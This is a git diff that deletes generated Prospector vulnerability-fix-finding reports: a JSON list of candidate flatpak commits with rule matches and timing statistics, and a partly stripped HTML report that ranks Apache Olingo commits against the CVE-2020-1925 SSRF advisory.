"cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: update", - "relevance": 4 - } - ] - }, - { - "commit_id": "c374ff37de94736225cf860c0b2f33f91ad98d5f", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1721664008, - "hunks": 248, - "message": "Update Brazilian Portuguese translation", - "changed_files": [ - "po/pt_BR.po" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: update", - "relevance": 4 - } - ] - }, - { - "commit_id": "4bf4f32c164f368202df494b96bbfc38fc0daa0e", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1717057567, - "hunks": 1, - "message": "dir: Make sure all parse_ref_file out params are consistently cleared parse_ref_file() cleared all its out params to NULL, with the exception of collection_id_out. Make sure to clear this one as well to avoid surprises in the future. Fixes commit ae7d96037 that added collection ID support to flatpakref.", - "changed_files": [ - "common/flatpak-dir.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: support, commit, avoid, file", - "relevance": 4 - } - ] - }, - { - "commit_id": "4add324060ac219eaa575f174f467b900b1f8040", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714673813, - "hunks": 1, - "message": "prune: Include flatpak-variant-private.h before its -impl-private.h This ensures that declarations are visible. Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-prune.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: include", - "relevance": 4 - } - ] - }, - { - "commit_id": "25d38bab0a486f0f6555cba235ce59ae37cd8d96", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714675594, - "hunks": 3, - "message": "utils: Remove unnecessary flatpak-ref-utils-private.h inclusion Include flatpak-ref-utils-private.h explicitly in each remaining module that needs it (mostly for FlatpakDecomposed). Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-ref.c", - "common/flatpak-run-private.h", - "common/flatpak-utils-private.h" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: need, include", - "relevance": 4 - } - ] - }, - { - "commit_id": "97cddd6e4832a31bddff753e8f3f783b96642d07", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714673497, - "hunks": 13, - "message": "utils: Move more repository functionality to repo-utils This further reduces circular dependencies: utils no longer has a circular dependency with repo-utils or xml-utils. Signed-off-by: Simon McVittie ", - "changed_files": [ - "app/flatpak-builtins-build-sign.c", - "app/flatpak-builtins-remote-add.c", - "common/flatpak-remote.c", - "common/flatpak-repo-utils-private.h", - "common/flatpak-repo-utils.c", - "common/flatpak-utils-private.h", - "common/flatpak-utils.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: build", - "relevance": 4 - } - ] - }, - { - "commit_id": "3271f9c25d63bdf71951f16724e0f079df349744", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714673412, - "hunks": 2, - "message": "utils: Export flatpak_get_compat_arch() This will allow its caller to be moved into repo-utils. Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-utils-private.h", - "common/flatpak-utils.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: allow", - "relevance": 4 - } - ] - }, - { - "commit_id": "06970e015f1abeeeecd065c8d36651d319beb5a9", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714672917, - "hunks": 14, - "message": "utils: Move more repository functionality into repo-utils Signed-off-by: Simon McVittie ", - "changed_files": [ - "app/flatpak-builtins-build-bundle.c", - "app/flatpak-builtins-build-commit-from.c", - "app/flatpak-builtins-build-export.c", - "app/flatpak-builtins-build-import-bundle.c", - "app/flatpak-builtins-create-usb.c", - "common/flatpak-repo-utils-private.h", - "common/flatpak-repo-utils.c", - "common/flatpak-utils-private.h", - "common/flatpak-utils.c", - "po/POTFILES.in" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: build, file, commit", - "relevance": 4 - } - ] - }, - { - "commit_id": "31590889f8900e0385b752ad5837326be42640d4", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714672354, - "hunks": 2, - "message": "ref-utils: Move flatpak_get_arch_for_ref() to here The declaration was already in flatpak-ref-utils-private.h. Fixes: 5dae1fc6 \"Break out ref helper functions to separate file\" Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-ref-utils.c", - "common/flatpak-utils.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file", - "relevance": 4 - } - ] - }, - { - "commit_id": "485f6bc5c538f928d2b5bee0f8daca1b9b3cd860", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714663900, - "hunks": 3, - "message": "common: Explicitly include ostree.h where needed A subsequent commit will remove it from flatpak-utils-private.h. Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-json-oci.c", - "common/flatpak-prune-private.h", - "common/flatpak-ref-utils.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: commit, need, include", - "relevance": 4 - } - ] - }, - { - "commit_id": "14db9d48cf39a3d854459cafb3fc1309bedb71a2", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1684329035, - "hunks": 25, - "message": "common: Break out the parts of flatpak-utils that deal with FlatpakDir This breaks the circular dependency between flatpak-utils and flatpak-dir. There is still a circular dependency between flatpak-dir and flatpak-dir-utils, but I don't want to make flatpak-dir even larger. Signed-off-by: Simon McVittie ", - "changed_files": [ - "app/flatpak-builtins.h", - "common/flatpak-dir-private.h", - "common/flatpak-dir-utils-private.h", - "common/flatpak-dir-utils.c", - "common/flatpak-dir.c", - "common/flatpak-oci-registry-private.h", - "common/flatpak-repo-utils-private.h", - "common/flatpak-run.c", - "common/flatpak-utils-private.h", - "common/flatpak-utils.c", - "common/meson.build", - "po/POTFILES.in" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: meson, build, file", - "relevance": 4 - } - ] - }, - { - "commit_id": "722fec45818b2f39f74a91684610e054ea619c1e", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714674923, - "hunks": 1, - "message": "utils: Include flatpak-metadata-private.h instead of -run-private.h This avoids a circular dependency between -run and -utils. Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-utils.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: avoid, include", - "relevance": 4 - } - ] - }, - { - "commit_id": "7c63731349b31b6763e6daef61b4a426c4964993", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1717553866, - "hunks": 1, - "message": "doc: Correct special value for flatpak config To include all languages, the languages key must be set to `*all*`, not `all`. That was apparently intended to provide symmetry with how the value is represented in the output of `flatpak config`.", - "changed_files": [ - "doc/flatpak-config.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: represent, intend, include, provide", - "relevance": 4 - } - ] - }, - { - "commit_id": "1b4ff8d52607a3c951b507b1cc42f3f78fa5ee1f", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1716889430, - "hunks": 1, - "message": "flatpak-run-dbus: Allow two AT-SPI Registry signals in These signals can be used by apps to monitor whether they need to emit signals on the a11y bus or not. This can very significantly reduce chattery on the a11y bus, and at least WebKit relies on these signals to be broadcasted in. The PR https://github.com/flatpak/xdg-dbus-proxy/pull/61 is required for this changeset to work as expected, but it can land independently as `--broadcast` is supported by xdg-dbus-proxy.", - "changed_files": [ - "common/flatpak-run-dbus.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: change, require, allow, need, support, work", - "relevance": 4 - } - ] - }, - { - "commit_id": "cee83455e609f424f4066d9f5e29ad299c9348d3", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1717858417, - "hunks": 1169, - "message": "Hindi Translation Update Fixes and update for Hindi translation.", - "changed_files": [ - "po/hi.po" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: update", - "relevance": 4 - } - ] - }, - { - "commit_id": "1dbaa59a85f5b104bf9d62682fc6bc5a20cdecb2", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1718536882, - "hunks": 251, - "message": "Update Chinese translation", - "changed_files": [ - "po/zh_CN.po" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: update", - "relevance": 4 - } - ] - }, - { - "commit_id": "24a4c2464ece30931b6b56c4a053682056deb3d4", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1719391906, - "hunks": 2, - "message": "dir: Free the returned GVariant of g_dbus_connection_call_sync Closes: https://github.com/flatpak/flatpak/issues/5856 Fixes: 9532c8d3 (\"dir: Reload DBus daemon config to ensure services get picked up\") Signed-off-by: Sebastian Wick ", - "changed_files": [ - "common/flatpak-dir.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: close", - "relevance": 4 - } - ] - }, - { - "commit_id": "c12a5da619be8d9f592d559a9b63ce57fd2bcb6a", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1718886570, - "hunks": 3, - "message": "run: Support zoneinfo dirs from $TZDIR env", - "changed_files": [ - "common/flatpak-run.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: support", - "relevance": 4 - } - ] - }, - { - "commit_id": "36b6c86065b85eee5236c00becc466da959d3624", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1718886362, - "hunks": 4, - "message": "common: Simplify tzdir logic in flatpak_get_timezone", - "changed_files": [ - "common/flatpak-utils-base.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: time", - "relevance": 4 - } - ] - }, - { - "commit_id": "9f1e6dc3706631f85955a384ce35f6d69c1067b0", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1721147597, - "hunks": 0, - "message": "Merge pull request #5800 from smcv/libglnx-into-subtree Convert libglnx, variant-compiler into `git subtree`", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "5800": "Update submodule: libglnx 2024-04-20 #5799 Ability to build DXVK Native in distro environments doitsujin/dxvk#4040 missing Variant Schema Compiler from subprojects folder #5845" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 5800", - "relevance": 2 - } - ] - }, - { - "commit_id": "31291dc9a693267ec557f16f3f962e386854cac9", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1633712742, - "hunks": 2, - "message": "run: Use CVE identifiers to reference former vulnerabilities These are more globally-recognised than GHSA IDs. Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-run.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "17cd5a24e6dbc34fc7b9ba08fea0f72878005637", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1724328968, - "hunks": 3, - "message": "tests: Constify test data where it's easy to do so Signed-off-by: Simon McVittie ", - "changed_files": [ - "tests/testcommon.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "057c42fe2d308bccfb47efd99312b2252048f7a4", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1724328851, - "hunks": 1, - "message": "run-dbus: Slightly increase const-correctness Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-run-dbus.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "1aeb381e9189c4a49952e7c3fe699c3918ec0e9e", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1724328732, - "hunks": 2, - "message": "Constify tables of immutable strings Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-dir.c", - "common/flatpak-run.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "fc1b32e97b1bfcea91bb861576671550f3b58a1e", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1724328604, - "hunks": 2, - "message": "table-printer: Slightly increase const-correctness Signed-off-by: Simon McVittie ", - "changed_files": [ - "app/flatpak-table-printer.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "f7003e00c0e3297eee00271576449ad1154af821", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1724328587, - "hunks": 2, - "message": "complete: Slightly increase const-correctness Signed-off-by: Simon McVittie ", - "changed_files": [ - "app/flatpak-complete.c", - "app/flatpak-complete.h" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "0d61023710a7c6248f151863f1b8d892d952d224", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723741925, - "hunks": 3, - "message": "test-run: Make it more obvious that we are setting G_DEBUG empty shellcheck warning SC1007. Signed-off-by: Simon McVittie ", - "changed_files": [ - "tests/test-run.sh" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "7b096b4929b52f511a1ca1de0ed69180e3d5dcbb", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1722539814, - "hunks": 1, - "message": "portal: Free the ops from flatpak_transaction_get_operations The returned list is transfer full so we use g_autolist for a deep cleanup.", - "changed_files": [ - "portal/flatpak-portal.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10" - ], - "matched_rules": [] - }, - { - "commit_id": "3e2b76a351d94d04e3aeac2031a9ce02f8b0cedb", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1722539766, - "hunks": 10, - "message": "revokefs: Clean up struct fuse_args with fuse_opt_free_args", - "changed_files": [ - "revokefs/main.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10" - ], - "matched_rules": [] - }, - { - "commit_id": "33212f5c119eb90519a543f3ecf767483485a9e6", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714675661, - "hunks": 1, - "message": "utils: Remove flatpak-variant-private.h, no longer necessary Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-utils-private.h" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [] - }, - { - "commit_id": "87360c96e0a5db63919774ef8d550a564abcc4a5", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714673729, - "hunks": 8, - "message": "utils: Move remaining direct ostree dependencies to repo-utils Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-bundle-ref.c", - "common/flatpak-repo-utils-private.h", - "common/flatpak-repo-utils.c", - "common/flatpak-utils-private.h", - "common/flatpak-utils.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [] - }, - { - "commit_id": "1b85a2c090bd0f1567455df6bb675e3f2c5453f4", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714673061, - "hunks": 5, - "message": "utils: Move more summary parsing into repo-utils Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-repo-utils-private.h", - "common/flatpak-repo-utils.c", - "common/flatpak-utils-private.h", - "common/flatpak-utils.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [] - }, - { - "commit_id": "3c82620babb5da0cb015f6ddf8828053132e1ba7", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714675119, - "hunks": 11, - "message": "repo-utils: New header for some implementation details of a repository This will reduce circular dependencies involving FlatpakDir. Signed-off-by: Simon McVittie ", - "changed_files": [ - "app/flatpak-builtins-remote-info.c", - "app/flatpak-builtins-remote-ls.c", - "app/flatpak-builtins-repo.c", - "common/flatpak-dir-private.h", - "common/flatpak-dir.c", - "common/flatpak-oci-registry.c", - "common/flatpak-remote-ref.c", - "common/flatpak-repo-utils-private.h", - "common/flatpak-transaction.c", - "common/flatpak-utils.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [] - }, - { - "commit_id": "da71c451fc44248d1f1b471ce0f580689ea14254", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1718886293, - "hunks": 2, - "message": "common: Add flatpak_get_tzdir() helper", - "changed_files": [ - "common/flatpak-utils-base-private.h", - "common/flatpak-utils-base.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [] - } - ], - "processing_statistics": { - "core": { - "git": { - "git": { - "Git": { - "create_commits": { - "execution time": [ - 0.011537432670593262, - 0.011356359347701073, - 0.009442172944545746 - ] - } - } - } - }, - "commit preprocessing": { - "execution time": [ - 0.21622662246227264 - ] - }, - "candidates analysis": { - "execution time": [ - 0.3231157008558512 - ] - }, - "save commits to backend": { - "execution time": [ - 0.02379462495446205 - ] - }, - "execution time": [ - 3.097227917984128 - ] - }, - "rules": { - "active": [ - 17 - ], - "matches": [ - 127 - ] - }, - "LLM": { - "repository_url": { - "execution time": [ - 1.61565319634974 - ] - }, - "commit_classification": { - "execution time": [ - 0.016995303332805634, - 0.015816012397408485, - 0.015243278816342354, - 0.014765668660402298, - 0.014675449579954147, - 0.015074731782078743, - 0.014973310753703117, - 0.014576490968465805, - 0.01493077352643013, - 0.014821510761976242 - ] - } - } - } -} \ No newline at end of file diff --git a/prospector/pipeline/reports/report.html b/prospector/pipeline/reports/report.html deleted file mode 100644 index e69de29bb..000000000 diff --git a/prospector/pipeline/reports/report1.html b/prospector/pipeline/reports/report1.html deleted file mode 100644 index 38a516906..000000000 --- a/prospector/pipeline/reports/report1.html +++ /dev/null @@ -1,4518 +0,0 @@ - - - - - - - - - - - - - - - - Prospector Report - - - - -
    -
    -
    - - -

    Filters

    -

    - Use the slider to filter out lower relevance scores and the button to collapse or expand all the commits. -

    - -
    -
    - -
    -
    - -
    -
    - - - - -
    -

    Advisory Record

    - CVE-2020-1925
    -

    Apache Olingo versions 4.0.0 to 4.7.0 provide the AsyncRequestWrapperImpl class which reads a URL from the Location header, and then sends a GET or DELETE request to this URL. It may allow to implement a SSRF attack. If an attacker tricks a client to connect to a malicious server, the server can make the client call any URL including internal resources which are not directly accessible by the attacker.

    - - -
    Possible relevant files/methods
    -

    -

      - -
    • AsyncRequestWrapperImpl
    • - -
    • DELETE
    • - -
    • GET
    • - -
    • SSRF
    • - -
    • URL
    • - -
    -

    - - -
    Other relevant keywords
    -

    - -

  • allow
  • - - -
  • apache
  • - - -
  • asyncrequestwrapperimpl
  • - - -
  • attack
  • - - -
  • attacker
  • - - -
  • call
  • - - -
  • class
  • - - -
  • client
  • - - -
  • connect
  • - - -
  • delete
  • - - -
  • header
  • - - -
  • implement
  • - - -
  • include
  • - - -
  • location
  • - - -
  • make
  • - - -
  • olingo
  • - - -
  • provide
  • - - -
  • read
  • - - -
  • request
  • - - -
  • resource
  • - - -
  • send
  • - - -
  • server
  • - - -
  • trick
  • - - -
  • version
  • - - -

    - -
    - - - -
    -
    -
    Execution Statistics
    - -
    -
    -
    • core
      • retrieval of commit candidates
        • execution time = 0.008254 seconds
      • git
        • git
          • Git
            • create_commits
              • execution time = 0.008059 seconds
      • candidates = 35 commits
      • commit preprocessing
        • commit preprocessing
          • preprocessed commits = 30 commit
        • execution time = 11.4 seconds
      • candidates analysis
        • execution time = 22.4 seconds
      • execution time = 44.66 seconds
    • rules
      • active = 17 rules
      • matches = 87 matches
    • LLM
      • repository_url
        • execution time = 2.781 seconds
      • commit_classification
        • execution time is a list of numbers
          • average = 2.235208823531866 seconds
          • deviation = 0.6022563552043189 seconds
          • median = 2.506361285224557 seconds
          • count = 10
          • sum = 22.35208823531866 seconds
    -
    -
    - -
    - -
    -
    -
    -
    -

    Prospector Report

    -
    - - -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1416] Better header processing - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 90 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - COMMIT_IS_SECURITY_RELEVANT - - XREF_BUG - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9f9aebde557b791f275d6156d8bec12ac334425d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      -
    • - -
    • -
      The commit and the advisory (including referenced pages) mention the same bug tracking ticket: OLINGO-1416
      -
    • - -
    • -
      The commit modifies code containing relevant filename or methods: AsyncRequestWrapperImpl
      -
    • - -
    • -
      The commit changes some relevant files: lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: header
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: asyncrequestwrapperimpl, request, client
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1416
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1416] Better header processing
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncBatchRequestWrapperImpl.java - - lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1411] Better header parsing * [OLINGO-1411] Better header parsing - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 58 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 98d445a87447a5424cf5405a559708323f94d94f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: AsyncRequestWrapperImpl
      -
    • - -
    • -
      The commit changes some relevant files: lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: header
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: asyncrequestwrapperimpl, request, client
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1411
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1411] Better header parsing * [OLINGO-1411] Better header parsing
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncBatchRequestWrapperImpl.java - - lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1411] Fixed typo - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 22 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b81bc23a54ecc6e3e190fb044fcff52c218541f3 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: AsyncRequestWrapperImpl
      -
    • - -
    • -
      The commit changes some relevant files: lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: asyncrequestwrapperimpl, request, client
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1411
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1411] Fixed typo
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1408] Applied code formatter - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 22 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 302f991e5bc36b5ac84a63d059d049e7a2a63f76 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: AsyncRequestWrapperImpl
      -
    • - -
    • -
      The commit changes some relevant files: lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java
      -
    • - -
    • -
